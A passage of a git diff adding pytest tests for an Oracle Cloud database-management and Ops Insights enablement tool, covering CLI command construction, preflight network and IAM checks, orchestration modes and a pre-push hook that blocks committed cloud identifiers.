runner.commands[0][5:8] == ["network", "service-gateway", "list"] + assert runner.commands[1][5:8] == ["iam", "policy", "list"] + assert runner.commands[2][5:8] == ["vault", "secret", "list"] + + +class _StateRunner: + """Returns a per-lifecycle-state payload; optionally fails on one state. + + Models the OPSI list facade querying one state per call: the multi-state + + --all combination flaps on the live control plane, so the facade unions + single-state calls instead. + """ + + def __init__(self, by_state, fail_state=None): + self.by_state = by_state + self.fail_state = fail_state + self.commands = [] + + def run(self, args, cwd=None, check=True, retry_on_transient=False): + self.commands.append(args) + state = args[args.index("--lifecycle-state") + 1] + if state == self.fail_state: + raise RuntimeError("NotAuthorizedOrNotFound") + return CommandResult(tuple(args), self.by_state.get(state, '{"data": []}'), "", 0) + + +def test_list_opsi_insights_queries_each_state_and_unions_by_id() -> None: + runner = _StateRunner({ + "ACTIVE": '{"data": [{"id": "ins-1", "database-id": "db-a", "lifecycle-state": "ACTIVE"}]}', + "FAILED": '{"data": [{"id": "ins-2", "database-id": "db-b", "lifecycle-state": "FAILED"}]}', + # ins-1 reappears under another state filter; the union must dedup by OCID. + "NEEDS_ATTENTION": '{"data": [{"id": "ins-1", "database-id": "db-a", "lifecycle-state": "ACTIVE"}]}', + }) + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + insights = oci.list_opsi_database_insights("compartment-id") + + ids = sorted(i["id"] for i in insights) + assert ids == ["ins-1", "ins-2"] + # One call per lifecycle state, each carrying exactly one --lifecycle-state. + assert len(runner.commands) == len(OciCli.OPSI_INSIGHT_STATES) + assert all(cmd.count("--lifecycle-state") == 1 for cmd in runner.commands) + + +def test_list_opsi_insights_tolerates_a_failing_state_call() -> None: + # A transient failure on one state must not discard the insights gathered + # from the others (never a false "no insights")... + runner = _StateRunner( + {"FAILED": '{"data": [{"id": "ins-2", "database-id": "db-b", "lifecycle-state": "FAILED"}]}'}, + fail_state="ACTIVE", + ) + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + insights, complete = oci.list_opsi_database_insights_complete("compartment-id") + + assert [i["id"] for i in insights] == ["ins-2"] + # ...but the union is flagged incomplete so callers don't trust it for absence. + assert complete is False + + +def test_list_opsi_insights_complete_flag_true_when_all_states_answer() -> None: + runner = _StateRunner({ + "ACTIVE": '{"data": [{"id": "ins-1", "database-id": "db-a", "lifecycle-state": "ACTIVE"}]}', + }) + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + insights, complete = oci.list_opsi_database_insights_complete("compartment-id") + + assert [i["id"] for i in insights] == ["ins-1"] + assert complete is True + + +def test_oci_cli_data_safe_list_and_get_command_shapes() -> None: + runner = FakeRunner('{"data": []}') + oci = OciCli("cap", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + assert oci.list_data_safe_targets("compartment-id") == [] + assert oci.list_data_safe_private_endpoints("compartment-id") == [] + + runner_get = FakeRunner('{"data": {"id": "dst-1"}}') + oci_get = OciCli("cap", "eu-frankfurt-1", runner_get) # type: ignore[arg-type] + assert oci_get.get_data_safe_target("dst-1") == {"id": "dst-1"} + cmd = runner_get.commands[0] + assert cmd[5:9] == ["data-safe", "target-database", "get", "--target-database-id"] + + +class _FailingRunner: + def __init__(self, error: RuntimeError): + self.error = error + + def run(self, args, cwd=None, check=True, retry_on_transient=False): + raise self.error + + +def test_run_tolerating_handles_typed_oci_error() -> None: + oci = OciCli( + "cap", + "eu-frankfurt-1", + _FailingRunner(OciError("already enabled")), + ) # type: ignore[arg-type] + + assert oci.run_tolerating(["db", "enable"], tolerated=("already enabled",)) is False + + +def test_run_tolerating_does_not_swallow_plain_runtime_error() -> None: + oci = OciCli( + "cap", + "eu-frankfurt-1", + _FailingRunner(RuntimeError("already enabled")), + ) # type: ignore[arg-type] + + try: + oci.run_tolerating(["db", "enable"], tolerated=("already enabled",)) + except RuntimeError as exc: + assert "already enabled" in str(exc) + else: + raise AssertionError("Expected plain RuntimeError to propagate") + + +def test_oci_cli_create_data_safe_target_is_idempotent_by_name(tmp_path) -> None: + runner = FakeRunner('{"data": [{"id": "existing", "display-name": "dbmopsi"}]}') + oci = OciCli("cap", "eu-frankfurt-1", runner) # type: ignore[arg-type] + details = tmp_path / "d.json" + details.write_text("{}") + + # An existing target with the same display name short-circuits creation. + target_id = oci.create_data_safe_target("compartment-id", "dbmopsi", str(details)) + assert target_id == "existing" + # Only the list call happened, no create. + assert all("create" not in cmd for cmd in runner.commands) + + +def test_oci_cli_create_data_safe_target_builds_create_command(tmp_path) -> None: + runner = FakeRunner('{"data": {"id": "new-target"}}') + oci = OciCli("cap", "eu-frankfurt-1", runner) # type: ignore[arg-type] + details = tmp_path / "d.json" + conn = tmp_path / "c.json" + creds = tmp_path / "cr.json" + for f in (details, conn, creds): + f.write_text("{}") + + target_id = oci.create_data_safe_target( + "compartment-id", "newdb", str(details), str(conn), str(creds) + ) + assert target_id == "new-target" + create_cmd = runner.commands[-1] + assert create_cmd[5:8] == ["data-safe", "target-database", "create"] + assert f"file://{details}" in create_cmd + assert f"file://{conn}" in create_cmd + assert f"file://{creds}" in create_cmd + + +def test_oci_cli_create_data_safe_private_endpoint_idempotent() -> None: + runner = FakeRunner('{"data": [{"id": "pe-existing", "display-name": "dbmopsi-datasafe-pe"}]}') + oci = OciCli("cap", "eu-frankfurt-1", runner) # type: ignore[arg-type] + pe = oci.create_data_safe_private_endpoint( + "compartment-id", "dbmopsi-datasafe-pe", "vcn-1", "subnet-1" + ) + assert pe == "pe-existing" + assert all("create" not in cmd for cmd in runner.commands) diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_dbmgmt.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_dbmgmt.py new file mode 100644 index 000000000..748daf916 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_dbmgmt.py @@ -0,0 +1,101 @@ +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.runner import CommandResult + + +class _QueueRunner: + def __init__(self, *payloads: str) -> None: + self.payloads = list(payloads) + self.commands: list[list[str]] = [] + + def run(self, args, cwd=None, check=True, retry_on_transient=False): + self.commands.append(args) + payload = self.payloads.pop(0) if self.payloads else "{}" + return CommandResult(tuple(args), payload, "", 0) + + +def _oci(runner: _QueueRunner) -> OciCli: + return OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + +def test_create_named_credential_reuses_existing_id_without_create() -> None: + runner = _QueueRunner('{"data": [{"name": "dbsnmp", "id": "credential-existing"}]}') + + credential_id = _oci(runner).create_named_credential( + "compartment-id", + "dbsnmp", + "DBSNMP", + "secret-id", + "managed-db-id", + ) + + assert credential_id == "credential-existing" + assert len(runner.commands) == 1 + assert runner.commands[0][5:8] == ["database-management", "named-credential", "list"] + + +def test_create_named_credential_returns_empty_string_when_response_has_no_id() -> None: + runner = _QueueRunner('{"data": []}', '{"data": {}}') + + credential_id = _oci(runner).create_named_credential( + "compartment-id", + "dbsnmp", + "DBSNMP", + "secret-id", + "managed-db-id", + ) + + assert credential_id == "" + create_command = runner.commands[1] + assert create_command[5:8] == [ + "database-management", + "named-credential", + "create-named-credential-basic-named-credential-content", + ] + assert "--content-password-secret-access-mode" in create_command + assert "RESOURCE_PRINCIPAL" in create_command + + +def test_find_managed_database_id_matches_by_name_and_returns_none_when_absent() -> None: + runner = _QueueRunner( + '{"data": [{"name": "sales", "id": "managed-sales"}, {"name": "hr", "id": "managed-hr"}]}', + '{"data": [{"name": "sales", "id": "managed-sales"}]}', + ) + oci = _oci(runner) + + assert oci.find_managed_database_id("compartment-id", "hr") == "managed-hr" + assert oci.find_managed_database_id("compartment-id", "missing") is None + + +def test_get_managed_database_status_returns_database_status() -> None: + runner = _QueueRunner('{"data": {"database-status": "UP"}}') + + assert _oci(runner).get_managed_database_status("managed-db-id") == "UP" + + +def test_set_preferred_named_credential_uses_dedicated_update_verb() -> None: + runner = _QueueRunner() + + _oci(runner).set_preferred_named_credential( + "managed-db-id", + "advanced-diagnostics", + "credential-id", + ) + + command = runner.commands[0] + assert command[5:8] == [ + "database-management", + "preferred-credential", + "update-preferred-credential-update-named-preferred-credential-details", + ] + assert "--named-credential-id" in command + + +def test_list_preferred_and_named_credentials_parse_items() -> None: + runner = _QueueRunner( + '{"data": {"items": [{"name": "preferred"}]}}', + '{"data": {"items": [{"name": "named"}]}}', + ) + oci = _oci(runner) + + assert oci.list_preferred_credentials("managed-db-id") == [{"name": "preferred"}] + assert oci.list_named_credentials("compartment-id") == [{"name": "named"}] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_util.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_util.py new file mode 100644 index 000000000..7ae237c50 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_util.py @@ -0,0 +1,27 @@ +from dbman_opsi.oci_util import safe_lookup + + +def test_safe_lookup_retries_once_then_returns_value() -> None: + calls = 0 + + def flaky() -> str: + nonlocal calls + calls += 1 + if calls == 1: + raise RuntimeError("temporary") + return "ok" + + assert safe_lookup(flaky, "default") == "ok" + assert calls == 2 + + +def test_safe_lookup_returns_default_after_attempts_exhausted() -> None: + calls = 0 + + def broken() -> str: + nonlocal calls + calls += 1 + raise RuntimeError("down") + + assert safe_lookup(broken, "default") == "default" + assert calls == 2 diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_opsi_payloads.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_opsi_payloads.py new file mode 100644 index 000000000..19fbda202 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_opsi_payloads.py @@ -0,0 +1,47 @@ +import json +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.opsi_payloads import connection_details, credential_details, generate_opsi_payloads + + +def test_credential_details_uses_vault_reference_when_present() -> None: + target = Target(kind="dbcs", name="db", monitoring_user="DBSNMP", password_secret_id="secret-id") + + payload = credential_details(target) + + assert payload["credentialType"] == "CREDENTIALS_BY_VAULT" + assert payload["passwordSecretId"] == "secret-id" + assert payload["role"] == "NORMAL" + + +def test_credential_details_uses_source_when_secret_missing() -> None: + target = Target(kind="dbcs", name="db", monitoring_user="DBSNMP") + + payload = credential_details(target) + + assert payload == { + "credentialType": "CREDENTIALS_BY_SOURCE", + "credentialSourceName": "db", + } + + +def test_connection_details_defaults_service_and_host_placeholder() -> None: + payload = connection_details(Target(kind="dbcs", name="db")) + + assert payload["serviceName"] == "ORCLPDB1" + assert payload["hosts"][0]["port"] == 1521 + + +def test_generate_opsi_payloads_writes_json(tmp_path: Path) -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="cloud db", password_secret_id="secret-id"),), + ) + + paths = generate_opsi_payloads(config, tmp_path) + + assert len(paths) == 2 + data = json.loads((tmp_path / "cloud-db" / "credential-details.json").read_text(encoding="utf-8")) + assert data["passwordSecretId"] == "secret-id" diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_orchestrator.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_orchestrator.py new file mode 100644 index 000000000..20719f8c2 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_orchestrator.py @@ -0,0 +1,210 @@ +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target +from dbman_opsi.enablement import EnablementService +from dbman_opsi.orchestrator import ConfigureService +from test_preflight import FakeOci, _native_config + + +class RecordingEnableOci(FakeOci): + def __init__(self, **overrides): + super().__init__(**overrides) + self.commands: list[list[str]] = [] + + def run(self, args): + self.commands.append(args) + + def run_tolerating(self, args, tolerated): + self.run(args) + return True + + +def _service(read_oci, write_oci): + return ConfigureService(read_oci, EnablementService(write_oci)) + + +def test_plan_mode_marks_ready_without_enabling() -> None: + write = RecordingEnableOci() + report = _service(FakeOci(), write).configure(_native_config(), mode="plan") # type: ignore[arg-type] + + assert report.ok + assert report.decisions[0].action == "ready" + assert write.commands == [] + + +def test_apply_mode_enables_when_ready() -> None: + write = RecordingEnableOci() + report = _service(FakeOci(), write).configure(_native_config(), mode="apply") # type: ignore[arg-type] + + assert report.decisions[0].action == "enabled" + assert write.commands[0][:3] == ["db", "database", "enable-database-management"] + + +def test_already_enabled_is_skipped() -> None: + read = FakeOci(database={"lifecycle-state": "AVAILABLE", "database-management-config": {"management-status": "ENABLED"}}) + write = RecordingEnableOci() + report = _service(read, write).configure(_native_config(), mode="apply") # type: ignore[arg-type] + + assert report.decisions[0].action == "skip-enabled" + assert write.commands == [] + + +def test_already_dbm_enabled_target_can_still_create_opsi() -> None: + read = FakeOci(database={"lifecycle-state": "AVAILABLE", "database-management-config": {"management-status": "ENABLED"}}) + write = RecordingEnableOci() + config = _native_config(opsi_credential_details_file="credential-details.json") + report = _service(read, write).configure(config, mode="apply") # type: ignore[arg-type] + + assert report.decisions[0].action == "enabled" + assert "Ops Insights" in report.decisions[0].reason + assert write.commands[0][:3] == ["opsi", "database-insights", "create-pe-comanged-database"] + + +def test_blocked_when_service_gateway_missing() -> None: + read = FakeOci(service_gateways=[]) + write = RecordingEnableOci() + report = _service(read, write).configure(_native_config(), mode="apply") # type: ignore[arg-type] + + assert report.decisions[0].action == "blocked" + assert "network" in report.decisions[0].reason + assert write.commands == [] + assert not report.ok + + +def test_force_bypasses_blockers() -> None: + read = FakeOci(service_gateways=[]) + write = RecordingEnableOci() + report = _service(read, write).configure(_native_config(), mode="apply", force=True) # type: ignore[arg-type] + + assert report.decisions[0].action == "enabled" + assert write.commands + + +def test_db_side_only_generates_handoff(tmp_path: Path) -> None: + write = RecordingEnableOci() + report = _service(FakeOci(), write).configure( # type: ignore[arg-type] + _native_config(), mode="db-side-only", handoff_dir=tmp_path + ) + + assert report.decisions[0].action == "handoff" + assert write.commands == [] + assert (tmp_path / "cloud-db" / "HANDOFF.md").exists() + assert report.handoff_paths + + +def test_cdb_is_ordered_before_pdb() -> None: + pdb = Target(kind="dbcs", name="pdb1", compartment_id="compartment-id", resource_id="pdb-id", + database_role="PDB", parent_cdb_id="cdb-id") + cdb = Target(kind="dbcs", name="cdb1", compartment_id="compartment-id", resource_id="cdb-id") + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id="tenancy-id", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + targets=(pdb, cdb), # PDB listed first on purpose + ) + report = _service(FakeOci(), RecordingEnableOci()).configure(config, mode="plan") # type: ignore[arg-type] + + assert [decision.name for decision in report.decisions] == ["cdb1", "pdb1"] + + +def test_apply_enables_cdb_then_pdb_when_parent_is_in_same_config() -> None: + pdb = Target( + kind="dbcs", + name="pdb1", + compartment_id="compartment-id", + resource_id="pdb-id", + database_role="PDB", + parent_cdb_id="cdb-id", + service_name="PDB1", + monitoring_user="DBSNMP", + password_secret_id="secret-id", + private_endpoint_id="dbm-pe-id", + opsi_private_endpoint_id="opsi-pe-id", + ) + cdb = Target( + kind="dbcs", + name="cdb1", + compartment_id="compartment-id", + resource_id="cdb-id", + service_name="CDB1", + monitoring_user="DBSNMP", + password_secret_id="secret-id", + private_endpoint_id="dbm-pe-id", + opsi_private_endpoint_id="opsi-pe-id", + ) + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id="tenancy-id", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + targets=(pdb, cdb), # PDB listed first on purpose + ) + write = RecordingEnableOci() + + report = _service(FakeOci(), write).configure(config, mode="apply") # type: ignore[arg-type] + + assert [decision.action for decision in report.decisions] == ["enabled", "enabled"] + assert write.commands[0][:3] == ["db", "database", "enable-database-management"] + assert write.commands[1][:3] == ["db", "pluggable-database", "enable-pluggable-database-management"] + + +def test_db_side_only_hands_off_even_when_oci_blocked(tmp_path) -> None: + read = FakeOci(service_gateways=[]) # OCI-side network blocker + report = _service(read, RecordingEnableOci()).configure( # type: ignore[arg-type] + _native_config(), mode="db-side-only", handoff_dir=tmp_path + ) + + assert report.decisions[0].action == "handoff" + assert (tmp_path / "cloud-db" / "HANDOFF.md").exists() + + +def test_report_to_dict_round_trips() -> None: + report = _service(FakeOci(), RecordingEnableOci()).configure(_native_config(), mode="plan") # type: ignore[arg-type] + data = report.to_dict() + + assert data["mode"] == "plan" + assert data["ok"] is True + assert data["decisions"][0]["action"] == "ready" + assert "preflight" in data + + +def test_configure_apply_runs_data_safe_for_opted_in_targets() -> None: + from dbman_opsi.datasafe import DataSafeDecision + + class FakeDataSafe: + def __init__(self): + self.called_with = None + + def enable_all(self, config): + self.called_with = config + return [DataSafeDecision("cloud db", "enabled", "Data Safe target registered", "dst-1")] + + write = RecordingEnableOci() + ds = FakeDataSafe() + service = ConfigureService(FakeOci(), EnablementService(write), datasafe=ds) # type: ignore[arg-type] + report = service.configure(_native_config(), mode="apply") + + assert ds.called_with is not None # Data Safe ran in apply mode + assert len(report.data_safe) == 1 + assert report.data_safe[0].status == "enabled" + assert "data_safe" in report.to_dict() + + +def test_configure_plan_mode_does_not_run_data_safe() -> None: + class FakeDataSafe: + def __init__(self): + self.called = False + + def enable_all(self, config): + self.called = True + return [] + + ds = FakeDataSafe() + service = ConfigureService(FakeOci(), EnablementService(RecordingEnableOci()), datasafe=ds) # type: ignore[arg-type] + report = service.configure(_native_config(), mode="plan") + + assert ds.called is False + assert report.data_safe == () diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_pre_push.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_pre_push.py new file mode 100644 index 000000000..9080af443 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_pre_push.py @@ -0,0 +1,85 @@ +import stat +import subprocess +from pathlib import Path + + +ROOT = Path(__file__).resolve().parents[1] +HOOK = ROOT / "scripts" / "pre-push" + + +def _run_git(repo: Path, *args: str) -> None: + subprocess.run(["git", *args], cwd=repo, check=True, capture_output=True, text=True) + + +def _init_repo(repo: Path) -> None: + _run_git(repo, "init") + _run_git(repo, "config", "user.email", "test@example.invalid") + _run_git(repo, "config", "user.name", "Test User") + (repo / ".gitleaks.toml").write_text("title = \"test\"\n", encoding="utf-8") + (repo / "README.md").write_text("clean\n", encoding="utf-8") + _run_git(repo, "add", ".") + _run_git(repo, "commit", "-m", "initial") + + +def _run_hook(repo: Path) -> subprocess.CompletedProcess[str]: + return subprocess.run( + [str(HOOK)], + cwd=repo, + text=True, + input="", + capture_output=True, + check=False, + ) + + +def _synthetic_ocid() -> str: + return "ocid1" + ".tenancy.oc1.." + ("a" * 40) + + +def test_pre_push_script_is_executable() -> None: + mode = HOOK.stat().st_mode + + assert mode & stat.S_IXUSR + + +def test_pre_push_blocks_synthetic_identifier_in_working_tree(tmp_path: Path) -> None: + _init_repo(tmp_path) + (tmp_path / "leak.txt").write_text(f"id={_synthetic_ocid()}\n", encoding="utf-8") + + result = _run_hook(tmp_path) + + assert result.returncode == 1 + assert "real OCI identifier" in result.stderr + assert "leak.txt" in result.stderr + + +def test_pre_push_allows_synthetic_identifier_in_markdown(tmp_path: Path) -> None: + _init_repo(tmp_path) + (tmp_path / "notes.md").write_text(f"placeholder-ish {_synthetic_ocid()}\n", encoding="utf-8") + + result = _run_hook(tmp_path) + + assert result.returncode == 0 + + +def test_pre_push_passes_clean_tree(tmp_path: Path) -> None: + _init_repo(tmp_path) + + result = _run_hook(tmp_path) + + assert result.returncode == 0 + + +def test_pre_push_embeds_format_patterns_not_real_identifiers() -> None: + script = HOOK.read_text(encoding="utf-8") + banned_fragments = [ + _synthetic_ocid(), + "fr4zqfimuxtr", + "axoxdievda5j", + "id9y6mi8tcky", + "aaaadhp5ewo4eaaaaaaaaafs7q", + "axfo51x8x2ap", + ] + + for fragment in banned_fragments: + assert fragment not in script diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_preflight.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_preflight.py new file mode 100644 index 000000000..11ab9cd60 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_preflight.py @@ -0,0 +1,299 @@ +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target +from dbman_opsi.db_check import DbUserCheck +from dbman_opsi.preflight import PreflightService, location_for + + +def _checks_by_name(checks): + return {check.name: check for check in checks} + + +class FakeOci: + """Healthy-by-default OCI facade; override attributes per test.""" + + def __init__(self, **overrides): + self.policies = overrides.get( + "policies", + [{"statements": [ + "Allow service database-management to use virtual-network-family in tenancy", + "Allow service operations-insights to use virtual-network-family in tenancy", + "Allow service dpd to read secret-family in tenancy", + ]}], + ) + self.subnet = overrides.get( + "subnet", + { + "lifecycle-state": "AVAILABLE", + "vcn-id": "vcn-id", + "compartment-id": "compartment-id", + "route-table-id": "rt-id", + "security-list-ids": ["sl-id"], + "prohibit-public-ip-on-vnic": True, + }, + ) + self.service_gateways = overrides.get("service_gateways", [{"lifecycle-state": "AVAILABLE", "id": "sgw-id"}]) + self.route_table = overrides.get( + "route_table", + {"route-rules": [ + {"destination-type": "SERVICE_CIDR_BLOCK", "network-entity-id": "ocid1.servicegateway.oc1..xxx"} + ]}, + ) + self.security_list = overrides.get( + "security_list", + {"ingress-security-rules": [{"protocol": "6", "tcp-options": {"destination-port-range": {"min": 1521, "max": 1522}}}]}, + ) + self.database = overrides.get("database", {"lifecycle-state": "AVAILABLE", "database-management-config": None}) + self.pluggable = overrides.get("pluggable", {"lifecycle-state": "AVAILABLE", "pluggable-database-management-config": None}) + self.autonomous = overrides.get("autonomous", {"lifecycle-state": "AVAILABLE"}) + self.dbm_pe = overrides.get("dbm_pe", {"lifecycle-state": "ACTIVE"}) + self.opsi_pe = overrides.get("opsi_pe", {"lifecycle-state": "ACTIVE"}) + self.secret = overrides.get("secret", {"lifecycle-state": "ACTIVE"}) + self.agents = overrides.get("agents", []) + self.agent = overrides.get("agent", {}) + + def list_policies(self, compartment_id): + return self.policies + + def get_subnet(self, subnet_id): + return self.subnet + + def list_service_gateways(self, compartment_id, vcn_id): + return self.service_gateways + + def get_route_table(self, route_table_id): + return self.route_table + + def get_security_list(self, security_list_id): + return self.security_list + + def get_database(self, database_id): + return self.database + + def get_pluggable_database(self, pluggable_database_id): + return self.pluggable + + def get_autonomous_database(self, autonomous_database_id): + return self.autonomous + + def get_db_management_private_endpoint(self, endpoint_id): + return self.dbm_pe + + def get_opsi_private_endpoint(self, endpoint_id): + return self.opsi_pe + + def get_secret(self, secret_id): + return self.secret + + def list_management_agents(self, compartment_id): + return self.agents + + def get_management_agent(self, agent_id): + return self.agent + + +def _native_config(**target_kwargs): + target = Target( + kind="dbcs", + name="cloud db", + compartment_id="compartment-id", + resource_id="db-id", + service_name="PDB1", + monitoring_user="DBSNMP", + password_secret_id="secret-id", + private_endpoint_id="dbm-pe-id", + opsi_private_endpoint_id="opsi-pe-id", + **target_kwargs, + ) + return EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id="tenancy-id", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + targets=(target,), + ) + + +def test_location_classification() -> None: + assert location_for("dbcs") == "oci-native" + assert location_for("autonomous") == "oci-native" + assert location_for("external-db") == "management-agent" + assert location_for("external-exadata") == "management-agent" + + +def test_healthy_native_target_passes_all_gates() -> None: + report = PreflightService(FakeOci()).run(_native_config()) # type: ignore[arg-type] + + assert report.ok + network = _checks_by_name(report.network_checks) + assert network["network.service_gateway"].status == "pass" + assert network["network.route"].status == "pass" + target = report.targets[0] + assert target.location == "oci-native" + checks = _checks_by_name(target.checks) + assert checks["target.resource"].status == "pass" + assert checks["target.monitoring_user"].status == "manual" + + +def test_missing_service_gateway_blocks() -> None: + report = PreflightService(FakeOci(service_gateways=[])).run(_native_config()) # type: ignore[arg-type] + + network = _checks_by_name(report.network_checks) + assert network["network.service_gateway"].status == "fail" + assert not report.ok + + +def test_missing_route_to_services_blocks() -> None: + report = PreflightService(FakeOci(route_table={"route-rules": []})).run(_native_config()) # type: ignore[arg-type] + + assert _checks_by_name(report.network_checks)["network.route"].status == "fail" + assert not report.ok + + +def test_missing_iam_policies_fail() -> None: + report = PreflightService(FakeOci(policies=[])).run(_native_config()) # type: ignore[arg-type] + + assert _checks_by_name(report.tenancy_checks)["iam.policies"].status == "fail" + + +def test_partial_iam_policies_warn() -> None: + oci = FakeOci(policies=[{"statements": ["Allow service dpd to read secret-family in tenancy"]}]) + report = PreflightService(oci).run(_native_config()) # type: ignore[arg-type] + + iam = _checks_by_name(report.tenancy_checks)["iam.policies"] + assert iam.status == "warn" + assert "operations insights" in iam.detail.lower() + + +def test_inactive_secret_blocks() -> None: + report = PreflightService(FakeOci(secret={"lifecycle-state": "DELETED"})).run(_native_config()) # type: ignore[arg-type] + + assert _checks_by_name(report.targets[0].checks)["target.vault_secret"].status == "fail" + + +def test_external_target_missing_agent_blocks() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id="tenancy-id", + compartment_id="compartment-id", + targets=(Target(kind="external-db", name="salesdb", compartment_id="compartment-id"),), + ) + report = PreflightService(FakeOci(agents=[])).run(config) # type: ignore[arg-type] + + target = report.targets[0] + assert target.location == "management-agent" + assert _checks_by_name(target.checks)["target.management_agent"].status == "fail" + + +def test_external_target_with_running_plugins_passes() -> None: + agents = [{ + "display-name": "salesdb-agent", + "availability-status": "ACTIVE", + "plugin-list": [ + {"plugin-name": "dbmgmt", "plugin-status": "RUNNING"}, + {"plugin-name": "opsi", "plugin-status": "RUNNING"}, + ], + }] + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id="tenancy-id", + compartment_id="compartment-id", + targets=(Target(kind="external-db", name="salesdb", compartment_id="compartment-id"),), + ) + report = PreflightService(FakeOci(agents=agents)).run(config) # type: ignore[arg-type] + + assert _checks_by_name(report.targets[0].checks)["target.management_agent"].status == "pass" + + +def test_no_subnet_skips_network() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id="tenancy-id", + compartment_id="compartment-id", + targets=(Target(kind="autonomous", name="adb", resource_id="adb-id"),), + ) + report = PreflightService(FakeOci()).run(config) # type: ignore[arg-type] + + assert _checks_by_name(report.network_checks)["network.subnet"].status == "skip" + autonomous_checks = _checks_by_name(report.targets[0].checks) + assert autonomous_checks["target.vault_secret"].status == "skip" + assert autonomous_checks["target.monitoring_user"].status == "skip" + + +def _pdb_config(parent_cdb_id="cdb-id"): + target = Target( + kind="dbcs", + name="pdb1", + compartment_id="compartment-id", + resource_id="pdb-id", + service_name="PDB1", + monitoring_user="DBSNMP", + password_secret_id="secret-id", + private_endpoint_id="dbm-pe-id", + opsi_private_endpoint_id="opsi-pe-id", + database_role="PDB", + parent_cdb_id=parent_cdb_id, + ) + return EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + tenancy_id="tenancy-id", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + targets=(target,), + ) + + +def test_pdb_parent_enabled_passes_gate() -> None: + oci = FakeOci(database={"lifecycle-state": "AVAILABLE", "database-management-config": {"management-status": "ENABLED"}}) + report = PreflightService(oci).run(_pdb_config()) # type: ignore[arg-type] + + checks = _checks_by_name(report.targets[0].checks) + assert checks["target.parent_cdb"].status == "pass" + assert checks["target.resource"].detail.startswith("PDB") + + +def test_pdb_parent_not_enabled_blocks() -> None: + report = PreflightService(FakeOci()).run(_pdb_config()) # type: ignore[arg-type] + + assert _checks_by_name(report.targets[0].checks)["target.parent_cdb"].status == "fail" + assert not report.ok + + +def test_pdb_without_parent_id_warns() -> None: + report = PreflightService(FakeOci()).run(_pdb_config(parent_cdb_id=None)) # type: ignore[arg-type] + + assert _checks_by_name(report.targets[0].checks)["target.parent_cdb"].status == "warn" + + +def test_monitoring_user_check_passes_with_db_check() -> None: + db_check = DbUserCheck(account_open=True, found=("CREATE SESSION", "SELECT ANY DICTIONARY"), missing=()) + report = PreflightService(FakeOci()).run(_native_config(), db_check=db_check) # type: ignore[arg-type] + + assert _checks_by_name(report.targets[0].checks)["target.monitoring_user"].status == "pass" + + +def test_monitoring_user_check_fails_with_missing_grants() -> None: + db_check = DbUserCheck(account_open=True, found=("CREATE SESSION",), missing=("SELECT ANY DICTIONARY",)) + report = PreflightService(FakeOci()).run(_native_config(), db_check=db_check) # type: ignore[arg-type] + + check = _checks_by_name(report.targets[0].checks)["target.monitoring_user"] + assert check.status == "fail" + assert "SELECT ANY DICTIONARY" in check.detail + + +def test_monitoring_user_defaults_to_manual_without_db_check() -> None: + report = PreflightService(FakeOci()).run(_native_config()) # type: ignore[arg-type] + + assert _checks_by_name(report.targets[0].checks)["target.monitoring_user"].status == "manual" + + +def test_read_error_surfaces_as_failure() -> None: + class Boom(FakeOci): + def get_subnet(self, subnet_id): + raise RuntimeError("denied") + + report = PreflightService(Boom()).run(_native_config()) # type: ignore[arg-type] + assert _checks_by_name(report.network_checks)["network.subnet"].status == "fail" diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_prerequisites.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_prerequisites.py new file mode 100644 index 000000000..1856dd46e --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_prerequisites.py @@ -0,0 +1,119 @@ +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target, VaultSelection +from dbman_opsi.prerequisites import PrerequisiteService + + +class FakeOci: + def __init__(self, fail_text: str | None = None) -> None: + self.commands = [] + self.fail_text = fail_text + + def run(self, args): + self.commands.append(args) + if self.fail_text is not None: + raise RuntimeError(self.fail_text) + + def 